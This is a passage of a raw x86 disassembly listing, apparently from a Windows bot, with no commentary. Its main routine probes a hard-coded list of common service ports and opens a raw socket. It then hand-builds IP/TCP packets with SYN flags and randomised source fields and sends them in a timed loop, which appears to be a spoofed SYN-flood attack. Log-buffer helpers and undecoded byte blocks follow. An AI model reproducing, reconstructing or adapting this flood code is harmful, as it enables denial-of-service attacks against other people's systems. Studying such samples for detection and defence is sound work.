		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	ds:dword_4514DC
		test	eax, eax
		jnz	short loc_415BBB
		or	eax, 0FFFFFFFFh
		jmp	short loc_415C13
; ---------------------------------------------------------------------------


loc_415BBB:				; CODE XREF: sub_415B2E+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415BC6


loc_415BC2:				; CODE XREF: sub_415B2E+B8j
					; sub_415B2E+DCj
		mov	eax, edi
		jmp	short loc_415C13
; ---------------------------------------------------------------------------


loc_415BC6:				; CODE XREF: sub_415B2E+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_437842	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_415BE8
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_437842	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_415BC2


loc_415BE8:				; CODE XREF: sub_415B2E+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4F14A8	; getsockopt
		cmp	eax, edi
		jz	short loc_415BC2
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_415C13:				; CODE XREF: sub_415B2E+24j
					; sub_415B2E+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_415B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C17	proc near		; CODE XREF: seg000:00415ACEp

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], esi
		call	ds:dword_4F14A4	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	ds:dword_4E3130, eax
		call	ds:dword_4514D4
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_415D5B:				; CODE XREF: sub_415C17+1BEj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	ds:dword_4514F4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_9A], ax
		call	ds:dword_451570
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_415B2E
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	ds:dword_451588
		cmp	[ebp+var_8], ebx
		jnz	short loc_415DCD
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_415DCD:				; CODE XREF: sub_415C17+1A8j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_415D5B
		mov	esi, offset dword_4E3134
		push	offset asc_44C554 ; " "
		push	esi
		call	sub_41D260
		mov	edi, ds:dword_4F1340
		pop	ecx
		pop	ecx
		call	edi ; dword_4F1340
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_415E00:				; CODE XREF: sub_415C17+23Fj
		call	edi ; dword_4F1340
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415E58
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_415E31
		push	eax
		push	esi
		push	offset aSD_3	; "%s%d	"
		push	esi
		mov	[ebp+var_10], eax
		call	sub_41D260
		add	esp, 10h
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415E31:				; CODE XREF: sub_415C17+203j
		push	0FFFFh
		push	ebx
		call	sub_41801E
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4514F4
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_415E4B:				; CODE XREF: sub_415C17+218j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_415E00


loc_415E58:				; CODE XREF: sub_415C17+1FAj
					; sub_415C17+46Bj
		push	28h
		push	ebx
		push	offset byte_4E30D0
		call	sub_41D100
		mov	esi, 0FFFFh
		mov	ds:byte_4E30D0,	45h
		push	esi
		push	400h
		mov	ds:byte_4E30D9,	6
		mov	ds:byte_4E30D1,	8
		call	sub_41801E
		add	esp, 14h
		push	eax
		call	ds:dword_4514F4
		push	28h
		mov	ds:word_4E30D4,	ax
		call	ds:dword_4514F4
		or	ds:byte_4E30D8,	0FFh
		cmp	ds:dword_4E30C0, ebx
		mov	ds:word_4E30D2,	ax
		mov	ds:word_4E30D6,	bx
		jnz	short loc_415EC9
		push	[ebp+arg_0]
		call	sub_416091
		pop	ecx
		jmp	short loc_415ED4
; ---------------------------------------------------------------------------


loc_415EC9:				; CODE XREF: sub_415C17+2A5j
		push	offset dword_4E2AA0
		call	ds:dword_451530


loc_415ED4:				; CODE XREF: sub_415C17+2B0j
		mov	ds:dword_4E30DC, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	ds:dword_4E30E0, eax
		mov	ds:byte_4E30F1,	bl
		call	ds:dword_4514F4
		push	esi
		push	ebx
		mov	ds:word_4E30F2,	ax
		call	sub_41801E
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_41801E
		add	esp, 10h
		add	edi, eax
		push	edi
		call	ds:dword_4514F0
		mov	ds:dword_4E30E8, eax
		mov	al, ds:byte_4E30F0
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	ds:byte_4E30F0,	al
		mov	ax, word ptr [ebp+var_10]
		mov	ds:dword_4E30EC, ebx
		mov	ds:word_4E30F6,	bx
		mov	ds:word_4E30E6,	ax
		mov	ds:dword_4E310C, edi
		mov	ds:byte_4E3110,	bl
		mov	ds:byte_4E3111,	6
		call	ds:dword_4514F4
		mov	ds:word_4E3112,	ax
		mov	ax, ds:word_4E30E6
		mov	ds:word_4E30F8,	2
		mov	ds:dword_4E30FC, edi
		mov	ds:word_4E30FA,	ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415F8A
; ---------------------------------------------------------------------------


loc_415F85:				; CODE XREF: sub_415C17+445j
		mov	esi, 0FFFFh


loc_415F8A:				; CODE XREF: sub_415C17+36Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_415FBE
		push	esi
		push	ebx
		call	sub_41801E
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4514F4
		mov	ds:word_4E30E4,	ax
		mov	eax, ds:dword_4E30DC
		mov	ds:dword_4E3108, eax
		mov	ds:byte_4E30F1,	2
		mov	ds:dword_4E30EC, ebx
		jmp	short loc_415FDD
; ---------------------------------------------------------------------------


loc_415FBE:				; CODE XREF: sub_415C17+376j
		push	esi
		push	ebx
		mov	ds:byte_4E30F1,	10h
		call	sub_41801E
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_4514F4
		movzx	eax, ax
		mov	ds:dword_4E30EC, eax


loc_415FDD:				; CODE XREF: sub_415C17+3A5j
		inc	ds:word_4E30D4
		inc	ds:dword_4E30E8
		mov	ax, ds:word_4E30E6
		push	5
		pop	ecx
		mov	esi, offset word_4E30E4
		mov	edi, offset dword_4E3114
		mov	ds:word_4E30DA,	bx
		mov	ds:word_4E30F4,	bx
		push	14h
		rep movsd
		mov	esi, offset byte_4E30D0
		mov	ds:word_4E30FA,	ax
		push	esi
		call	sub_402670
		push	20h
		push	offset dword_4E3108
		mov	ds:word_4E30DA,	ax
		call	sub_402670
		add	esp, 10h
		mov	ds:word_4E30F4,	ax
		push	10h
		push	offset word_4E30F8
		push	ebx
		push	28h
		push	esi
		push	ds:dword_4E3130
		call	ds:dword_451554
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415F85
		call	ds:dword_4F1340	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_416087
		push	[ebp+arg_8]
		call	ds:dword_4F12F4	; Sleep
		jmp	loc_415E58
; ---------------------------------------------------------------------------


loc_416087:				; CODE XREF: sub_415C17+460j
		pop	edi
		pop	esi
		mov	eax, offset dword_4E3134
		pop	ebx
		leave
		retn
sub_415C17	endp


; =============== S U B	R O U T	I N E =======================================



sub_416091	proc near		; CODE XREF: sub_415C17+2AAp

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_41801E
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_416091	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160AF	proc near		; CODE XREF: seg000:00406E0Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_451638
		mov	edi, 0B8h


loc_4160C3:				; CODE XREF: sub_4160AF+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4160E6
		push	[ebp+arg_0]
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160E6
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4521B8
		jl	short loc_4160C3
		jmp	short loc_416128
; ---------------------------------------------------------------------------


loc_4160E6:				; CODE XREF: sub_4160AF+17j
					; sub_4160AF+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_451638[esi]
		push	ebx
		call	sub_41D100
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41D800
		push	9Fh
		lea	eax, dword_451650[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D800
		add	esp, 24h
		inc	ds:dword_43D060
		pop	ebx


loc_416128:				; CODE XREF: sub_4160AF+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4160AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41612F	proc near		; CODE XREF: seg000:00407FD9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_44C560
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_451638


loc_416159:				; CODE XREF: sub_41612F+72j
		cmp	byte ptr [esi],	0
		jz	short loc_416194
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_44C58C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41D360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 2Ch


loc_416194:				; CODE XREF: sub_41612F+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4521B8
		jl	short loc_416159
		pop	edi
		pop	esi
		leave
		retn
sub_41612F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161A7	proc near		; CODE XREF: sub_40216A+2ECp
					; sub_402533+B0p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_4F13C8	; GetLocalTime
		mov	ebx, offset dword_4E7538
		mov	edi, 80h
		mov	esi, offset dword_4E3538


loc_4161C9:				; CODE XREF: sub_4161A7+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4161E0
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41D800
		add	esp, 0Ch


loc_4161E0:				; CODE XREF: sub_4161A7+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4161C9
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41D360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41621B	proc near		; CODE XREF: sub_402D46+F7p
					; seg000:loc_406B8Fp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41D160
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4161A7
		add	esp, 14h
		leave
		retn
sub_41621B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_416276
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_44C5C4
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_416276:				; CODE XREF: seg000:0041625Dj
		cmp	[ebp+18h], ebx
		jz	short loc_41628E
		push	dword ptr [ebp+18h]
		call	sub_41D560
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_41628E
		mov	[ebp-8], eax


loc_41628E:				; CODE XREF: seg000:00416279j
					; seg000:00416289j
		mov	[ebp+14h], ebx
		mov	esi, offset dword_4E3538


loc_416296:				; CODE XREF: seg000:004162DEj
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_4162E0
		cmp	[esi], bl
		jz	short loc_4162CF
		cmp	[ebp+18h], ebx
		jz	short loc_4162BB
		cmp	[ebp-4], ebx
		jnz	short loc_4162BB
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_41786F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4162CF


loc_4162BB:				; CODE XREF: seg000:004162A5j
					; seg000:004162AAj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		add	esp, 14h


loc_4162CF:				; CODE XREF: seg000:004162A0j
					; seg000:004162B9j
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_4E7538
		jl	short loc_416296


loc_4162E0:				; CODE XREF: seg000:0041629Cj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4162E4	proc near		; CODE XREF: seg000:00407ED0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4E3538
		xor	ecx, ecx


loc_4162EB:				; CODE XREF: sub_4162E4+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4E7538
		jl	short loc_4162EB
		cmp	[esp+arg_C], ecx
		jnz	short loc_416319
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_44C5E8
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_416319:				; CODE XREF: sub_4162E4+19j
		push	offset dword_44C618
		call	sub_4161A7
		pop	ecx
		retn
sub_4162E4	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset dword_4E3538


loc_41632B:				; CODE XREF: seg000:0041634Cj
		cmp	byte ptr [esi],	0
		jz	short loc_416340
		push	dword ptr [esp+8]
		push	esi
		call	sub_41786F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416352


loc_416340:				; CODE XREF: seg000:0041632Ej
		add	esi, 80h
		cmp	esi, offset dword_4E7538
		jl	short loc_41632B
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416352:				; CODE XREF: seg000:0041633Ej
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
byte_416357	db 55h			; DATA XREF: seg000:00407F83o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4163AA
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_44C648
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_40145D
		add	esp, 14h


loc_4163AA:				; CODE XREF: seg000:0041638Aj
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_4163CA
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41D560
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_4163CA
		mov	[ebp-8], eax


loc_4163CA:				; CODE XREF: seg000:004163B1j
					; seg000:004163C5j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4E3538


loc_4163D3:				; CODE XREF: seg000:0041642Bj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_41642D
		cmp	byte ptr [esi],	0
		jz	short loc_41641C
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_416402
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_416402
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_41786F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41641C


loc_416402:				; CODE XREF: seg000:004163E7j
					; seg000:004163EDj
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_40145D
		add	esp, 14h


loc_41641C:				; CODE XREF: seg000:004163DEj
					; seg000:00416400j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4E7538
		jl	short loc_4163D3


loc_41642D:				; CODE XREF: seg000:004163D9j
		lea	eax, [ebp-31Ch]
		push	offset dword_44C680
		push	eax
		call	sub_41D260
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_416467
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_40145D
		add	esp, 14h


loc_416467:				; CODE XREF: seg000:00416445j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-18h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 7DE8h
		dd 0BFFFB9Bh
		db 5Fh,	5Eh
word_416486	dw 8B55h		; DATA XREF: seg000:00406219o
					; seg000:0040688Do
		dd 10EC81ECh, 8B000005h, 56530845h, 0AAB957h, 0F08B0000h
		dd 0FD34BD8Dh, 16AFFFFh, 335FA5F3h, 0B88956F6h,	2A4h, 858D5656h
		dd 0FFFFFDB8h, 35FF5056h, 4514A4h, 13FC15FFh, 0C63B0045h
		dd 0FE84589h, 44184h, 6A565600h, 8D565602h, 0FFFEB885h
		dd 68FFh, 0FF504000h, 4F138015h, 89C73B00h, 5D73E045h
		dd 0FEB8858Dh, 8D50FFFFh, 0FFFAF085h, 0C6B868FFh, 0E8500044h
		dd 6D58h, 390CC483h, 2075D075h,	0F0858D56h, 0FFFFFFFAh
		dd 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h, 0FEAF30E8h
		dd 14C483FFh, 0FAF0858Dh, 0E850FFFFh, 0FFFFFC6Bh, 0E8B875FFh
		dd 0FFFF2B17h, 0E8565959h, 0FFFB9AB4h, 0FFFF33DFh, 4F134015h
		dd 0D000BB00h, 45890007h, 0DDE853FCh, 59000048h, 68E44589h
		dd 200h, 0FAF0858Dh, 5056FFFFh,	6B87E8h, 0CC48300h, 5008458Dh
		dd 0FAF0858Dh, 68FFFFh,	50000002h, 0FFE875FFh, 45140415h
		dd 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh, 3CFE8h
		dd 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh,	75FF5008h
		dd 9A3EE8E0h, 3BCAFFFBh, 8B2273FBh, 3BC72BC3h, 3760845h
		dd 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h, 825AE850h
		dd 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h,	7D834A77h
		dd 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h, 0C7086850h
		dd 10EB0044h, 500AE8C1h, 0FDB8858Dh, 6850FFFFh,	44C754h
		dd 69B8458Bh, 234C0h, 21B80500h, 0E8500045h, 6C2Ch, 3910C483h
		dd 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h, 49740000h
		dd 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh, 0A06857ECh
		dd 500044C7h, 6BF7E8h, 858D5600h, 0FFFFFAF0h, 50D475FFh
		dd 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0ADD7E8FFh, 858DFFFEh
		dd 0FFFFFAF0h, 0FB15E850h, 0C483FFFFh, 4015FF28h, 2B004F13h
		dd 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h, 0C78BC88Bh
		dd 8BF1F741h, 0FC15FFD8h, 0FF004F12h, 0EDE8E475h, 39000051h
		dd 7459C875h, 0B8858D56h, 50FFFFFEh, 0FEA9EEE8h, 0C8453BFFh
		dd 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h, 44C7F068h
		dd 6DE85000h, 5600006Bh, 0FAF0858Dh, 75FFFFFFh,	858D50D4h
		dd 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFEAD4Dh, 0FAF0858Dh
		dd 0E850FFFFh, 0FFFFFA8Bh, 3928C483h, 840FEC75h, 237h
		dd 1BC7D83h, 0E8840Fh, 5D890000h, 0FC7589F8h, 51F86DDFh
		dd 0F87D8951h, 0DCFC7589h, 4394780Dh, 0B8858D00h, 0DDFFFFFEh
		dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh,	439478h
		dd 68241CDDh, 44C83Ch, 6AEEE850h, 0C4830000h, 0D075391Ch
		dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
		dd 0FD34B5FFh, 0C6E8FFFFh, 83FFFEACh, 858D14C4h, 0FFFFFAF0h
		dd 0FA01E850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h
		dd 0FEB8858Dh, 5056FFFFh, 44C8A068h, 15FF5600h,	451460h
		dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh
		dd 0A868FFFFh, 500044C8h, 6A77E8h, 858D5600h, 0FFFFFAF0h
		dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0AC57E8FFh
		dd 858DFFFEh, 0FFFFFAF0h, 0F995E850h, 0C483FFFFh, 145E924h
		dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h
		dd 4394780Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h
		dd 0FAF0858Dh, 0DDCFFFFh, 439478h, 68241CDDh, 44C8E8h
		dd 6A06E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h
		dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 0DEE8FFFFh
		dd 83FFFEABh, 858D14C4h, 0FFFFFAF0h, 0F919E850h, 106AFFFFh
		dd 56F0458Dh, 6866E850h, 446A0000h, 0FCF0858Dh,	575FFFFFh
		dd 55E85056h, 83000068h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh
		dd 0FFFCFC85h, 4E7540FFh, 66016A00h, 0FD20B589h, 505FFFFFh
		dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh
		dd 0BD895650h, 0FFFFFD1Ch, 0FB9713E8h, 0C73B60FFh, 15FF1275h
		dd 45144Ch, 12C6E8h, 15FF5600h,	4F12F8h, 0FEB8858Dh, 6850FFFFh
		dd 44C964h, 858D0CEBh, 0FFFFFDB8h, 0C9C86850h, 858D0044h
		dd 0FFFFFAF0h, 6936E850h, 0C4830000h, 0D075390Ch, 8D562075h
		dd 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh
		dd 0EE8FFFFh, 83FFFEABh, 858D14C4h, 0FFFFFAF0h,	0F849E850h
		dd 0FF59FFFFh, 15FFE875h, 451524h, 0E8B875FFh, 0FFFF26EBh
		dd 89E85659h, 0BDFFFB96h, 424448Bh, 4C39C933h, 107E0824h
		dd 0CC74158Ah, 14300043h, 4C3B4101h, 0F07C0824h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416995	proc near		; CODE XREF: seg000:0040545Ep
					; seg000:004055BDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420150
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169AF	proc near		; CODE XREF: seg000:00411108p
					; seg000:004112A4p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
